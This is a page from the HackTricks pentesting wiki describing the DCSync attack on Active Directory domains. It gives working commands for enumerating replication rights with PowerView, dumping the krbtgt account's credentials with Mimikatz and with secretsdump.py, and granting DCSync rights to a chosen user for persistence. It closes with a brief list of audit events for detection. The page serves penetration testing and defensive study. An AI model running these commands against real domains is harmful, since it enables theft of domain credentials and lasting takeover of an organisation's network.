HackTricks
Searchโ€ฆ
๐Ÿ‘ฝ
Network Services Pentesting
DCSync
Support HackTricks and get benefits!

DCSync

The **DCSync **permission implies having these permissions over the domain itself: DS-Replication-Get-Changes, **Replicating Directory Changes All **and Replicating Directory Changes In Filtered Set.
Important Notes about DCSync:
  • The **DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information **using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.
  • By default only Domain Admins, Enterprise Admins, Administrators, and Domain Controllers groups have the required privileges.
  • If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text

Enumeration

Check who has these permissions using powerview:
1
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')}
Copied!

Exploit Locally

1
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
Copied!

Exploit Remotely

1
secretsdump.py -just-dc <user>:<password>@<ipaddress>
Copied!

Persistence

If you are a domain admin, you can grant this permissions to any user with the help of powerview:
1
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
Copied!
Then, you can** check if the user was correctly assigned** the 3 privileges looking for them in the output of (you should be able to see the names of the privileges inside the "ObjectType" field):
1
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
Copied!

Mitigation

  • Security Event ID 4662 (Audit Policy for object must be enabled) โ€“ An operation was performed on an object
  • Security Event ID 5136 (Audit Policy for object must be enabled) โ€“ A directory service object was modified
  • Security Event ID 4670 (Audit Policy for object must be enabled) โ€“ Permissions on an object were changed
  • AD ACL Scanner - Create and compare create reports of ACLs. https://github.com/canix1/ADACLScannerโ€‹
Support HackTricks and get benefits!